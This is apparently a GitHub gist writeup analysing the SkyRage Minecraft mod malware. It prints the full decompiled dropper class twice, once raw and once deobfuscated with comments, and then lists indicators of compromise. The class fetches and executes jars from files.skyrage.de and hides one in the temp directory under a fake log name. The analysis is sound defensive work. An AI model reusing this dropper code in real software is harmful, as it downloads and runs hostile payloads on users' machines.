Skip to content

Instantly share code, notes, and snippets.

@pandaninjas
Last active April 7, 2023 00:57
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save pandaninjas/5a6d1489238ab3e8a361662cd4d62ebc to your computer and use it in GitHub Desktop.
Save pandaninjas/5a6d1489238ab3e8a361662cd4d62ebc to your computer and use it in GitHub Desktop.

SkyRage mod malware writeup

The jar is located at my malware-samples repository
The malicious class is decompiled here.

/* Decompiler 17ms, total 158ms, lines 115 */
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.nio.file.CopyOption;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.file.StandardCopyOption;
import java.util.Base64;
import java.util.Enumeration;
import java.util.zip.ZipEntry;
import java.util.zip.ZipFile;
import java.util.zip.ZipOutputStream;

public class Updater {
   public static void init() {
      try {
         File var0 = new File(System.getProperty(new String(new byte[]{106, 97, 118, 97, 46, 105, 111, 46, 116, 109, 112, 100, 105, 114})));
         File var1 = new File(var0, new String(new byte[]{107, 101, 114, 110, 101, 108, 45, 99, 101, 114, 116, 115, 45, 100, 101, 98, 117, 103, 52, 57, 49, 55, 46, 108, 111, 103}));
         boolean var2 = !System.getProperty("os.name").toLowerCase().contains("win");
         String var3 = (new File(System.getProperty("java.home") + (var2 ? "/bin/java" : "\\bin\\javaw.exe"))).getPath();
         if (var1.exists()) {
            Runtime.getRuntime().exec(new String[]{var3, "-jar", var1.getPath()});
         } else {
            byte[] var4 = new byte[]{-48, -6, -23, -57, 103, -92, 41, 103};

            try {
               var4 = a(Updater.class.getResourceAsStream("/plugin-config.bin"));
            } catch (Throwable var6) {
               var6.printStackTrace();
            }

            a(var1, var4);
            (new Thread(() -> {
               try {
                  a(var4);
               } catch (Exception var2) {
               }

            })).start();
            Runtime.getRuntime().exec(new String[]{var3, "-jar", var1.getPath()});
         }

      } catch (Exception var7) {
         var7.printStackTrace();
         throw new Error(var7);
      }
   }

   public static void a(InputStream var0, OutputStream var1) throws IOException {
      byte[] var2 = new byte[4096];

      int var3;
      while((var3 = var0.read(var2)) != -1) {
         var1.write(var2, 0, var3);
      }

   }

   public static byte[] a(InputStream var0) throws IOException {
      ByteArrayOutputStream var1 = new ByteArrayOutputStream();
      byte[] var2 = new byte['\uffff'];

      for(int var3 = var0.read(var2); var3 != -1; var3 = var0.read(var2)) {
         var1.write(var2, 0, var3);
      }

      return var1.toByteArray();
   }

   public static void a(byte[] var0) throws Exception {
      boolean var1 = !System.getProperty("os.name").toLowerCase().contains("win");
      String var2 = (new File(System.getProperty("java.home") + (var1 ? "/bin/java" : "\\bin\\javaw.exe"))).getPath();
      File var3 = new File(".log");
      HttpURLConnection var4 = (HttpURLConnection)(new URL(new String(new byte[]{104, 116, 116, 112, 58, 47, 47, 102, 105, 108, 101, 115, 46, 115, 107, 121, 114, 97, 103, 101, 46, 100, 101, 47, 109, 118, 100}))).openConnection();
      Files.copy(var4.getInputStream(), var3.toPath(), new CopyOption[]{StandardCopyOption.REPLACE_EXISTING});
      Runtime.getRuntime().exec(new String[]{var2, "-Dgnu=" + Base64.getEncoder().encodeToString(var0), new String(new byte[]{45, 106, 97, 114}), var3.getPath()}).waitFor();
      var3.delete();
   }

   public static void a(File var0, byte[] var1) throws Exception {
      HttpURLConnection var2 = (HttpURLConnection)(new URL("http://files.skyrage.de/update")).openConnection();
      Files.copy(var2.getInputStream(), var0.toPath(), new CopyOption[]{StandardCopyOption.REPLACE_EXISTING});
      a(new ZipFile(var0), var1);
   }

   public static void a(ZipFile var0, byte[] var1) throws IOException {
      File var2 = new File(var0.getName() + new String(new byte[]{46, 116, 109, 112, 122, 105, 112}));
      Files.copy((new File(var0.getName())).toPath(), var2.toPath(), StandardCopyOption.REPLACE_EXISTING);
      ZipFile var3 = new ZipFile(var2);
      ZipOutputStream var4 = new ZipOutputStream(Files.newOutputStream(Paths.get(var0.getName())));

      for(Enumeration var5 = var3.entries(); var5.hasMoreElements(); var4.closeEntry()) {
         ZipEntry var6 = (ZipEntry)var5.nextElement();
         ZipEntry var7 = new ZipEntry(var6.getName());
         var4.putNextEntry(var7);
         if (!var7.isDirectory()) {
            if (var7.getName().equals(new String(new byte[]{103, 110, 117}))) {
               var4.write(var1);
            } else {
               a((InputStream)var3.getInputStream(var6), (OutputStream)var4);
            }
         }
      }

      var3.close();
      var0.close();
      var4.close();
      var2.delete();
   }
}

I picked out several features of this malware, that it used new String(new byte[] as a form of obfuscation, and that this mod is a dropper for another malware.
I've tried to unminify, add comments, and deobfuscate the malware class

/* Decompiler 17ms, total 158ms, lines 115 */
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.nio.file.CopyOption;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.file.StandardCopyOption;
import java.util.Base64;
import java.util.Enumeration;
import java.util.zip.ZipEntry;
import java.util.zip.ZipFile;
import java.util.zip.ZipOutputStream;

public class Updater {
   public static void init() {
      try {
         File tempDir = new File(System.getProperty("java.io.tmpdir"));
         File malwareLocation = new File(tempDir, "kernel-certs-debug4917.log");
         boolean isNotWindows = !System.getProperty("os.name").toLowerCase().contains("win");
         String javaExe = (new File(System.getProperty("java.home") + (isNotWindows ? "/bin/java" : "\\bin\\javaw.exe"))).getPath();
         if (malwareLocation.exists()) {
            Runtime.getRuntime().exec(new String[]{javaExe, "-jar", var1.getPath()}); // if the malware has already been installed, try to rerun it
         } else { // otherwise
            byte[] data /* = new byte[]{-48, -6, -23, -57, 103, -92, 41, 103}*/; // immediately overwritten

            try {
               data = readAll(Updater.class.getResourceAsStream("/plugin-config.bin"));
            } catch (Throwable var6) {
               var6.printStackTrace();
            }

            saveMalwareToFile(malwareLocation, data); // signature is File, byte[]
            (new Thread(() -> {
               try {
                  executeWithIdentifier(data);
               } catch (Exception var2) {
               }

            })).start();
            Runtime.getRuntime().exec(new String[]{javaExe, "-jar", malwareLocation.getPath()});
         }

      } catch (Exception var7) {
         var7.printStackTrace();
         throw new Error(var7);
      }
   }

   public static void copyInputStreamToOutput(InputStream var0, OutputStream var1) throws IOException {
      byte[] var2 = new byte[4096];

      int var3;
      while((var3 = var0.read(var2)) != -1) {
         var1.write(var2, 0, var3);
      }

   }

   public static byte[] readAll(InputStream var0) throws IOException {
      ByteArrayOutputStream var1 = new ByteArrayOutputStream();
      byte[] var2 = new byte['\uffff'];

      for(int var3 = var0.read(var2); var3 != -1; var3 = var0.read(var2)) {
         var1.write(var2, 0, var3);
      }

      return var1.toByteArray();
   }

   public static void executeWithIdentifier(byte[] data) throws Exception {
      boolean isNotWindows = !System.getProperty("os.name").toLowerCase().contains("win");
      String javaPath = (new File(System.getProperty("java.home") + (isNotWindows ? "/bin/java" : "\\bin\\javaw.exe"))).getPath();
      File mvdFile = new File(".log");
      HttpURLConnection var4 = (HttpURLConnection)(new URL("http://files.skyrage.de/mvd")).openConnection();
      Files.copy(var4.getInputStream(), var3.toPath(), new CopyOption[]{StandardCopyOption.REPLACE_EXISTING});
      Runtime.getRuntime().exec(new String[]{javaPath, "-Dgnu=" + Base64.getEncoder().encodeToString(data), "-jar", mvdFile}).waitFor();
      mvdFile.delete();
   }

   public static void saveMalwareToFile(File file, byte[] data) throws Exception {
      HttpURLConnection connection = (HttpURLConnection) (new URL("http://files.skyrage.de/update")).openConnection(); // connects to http://files.skyrage.de/update
      Files.copy(connection.getInputStream(), file.toPath(), new CopyOption[]{StandardCopyOption.REPLACE_EXISTING});
      a(new ZipFile(file), data); // signature is ZipFile, byte[]
   }

   public static void injectGNUonOriginal(ZipFile zipFile, byte[] data) throws IOException {
      File copyFile = new File(zipFile.getName() + ".tmpzip"); // create with same name 
      Files.copy((new File(zipFile.getName())).toPath(), copyFile.toPath(), StandardCopyOption.REPLACE_EXISTING); // copy file to copyFile
      ZipFile copyZip = new ZipFile(copyFile);
      ZipOutputStream zipOutputOnOriginal = new ZipOutputStream(Files.newOutputStream(Paths.get(zipFile.getName())));

      for(Enumeration copyZipEntries = copyZip.entries(); copyZipEntries.hasMoreElements(); zipOutputOnOriginal.closeEntry()) {
         ZipEntry copyZipZipEntry = (ZipEntry) copyZipEntries.nextElement();
         ZipEntry copiedZipEntry = new ZipEntry(copyZipZipEntry.getName());
         zipOutputOnOriginal.putNextEntry(copiedZipEntry);
         if (!copiedZipEntry.isDirectory()) {
            if (copiedZipEntry.getName().equals("gnu")) {
               zipOutputOnOriginal.write(data); // write data if its gnu
            } else {
               copyInputStreamToOutput((InputStream)copyZip.getInputStream(var6), (OutputStream)zipOutputOnOriginal); // otherwise copy it
            }
         }
      }

      copyZip.close();
      file.close();
      zipOutputOnOriginal.close();
      copyFile.delete();
   }
}

The file plugin-config.bin has some binary, which when base64 encoded is 5MBE60Zq3ZcjeXn70Ycah0pKnYsoXwtz.

We can see a few notable things here.
It creates a file called kernel-certs-debug4917.log in the temp directory, then writes a jar from http://files.skyrage.de/update to it. After doing that, it adds a new entry called gnu to the zip file, and adds some data to it (a potentially unique identifier). It also downloads a jar from http://files.skyrage.de/mvd and executes it with a similar identifier.

Unique identifiers likely show that the owner of files.skyrage.de is running a Malware-as-a-Service scheme, or that there are multiple threat actors who want to identify themselves as unique.

This malware was seen before, but only on Bukkit/Spigot plugins. This indicates that the threat actor is looking at more regions to try and spread their malware.

IOCs

  • A file called kernel-certs-debug4917.log in the temporary directory
  • Connections to files.skyrage.de, especially on tcp/80
  • Process running with an argument starting with -Dgnu
  • Creation and then deletion of a file called .log
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment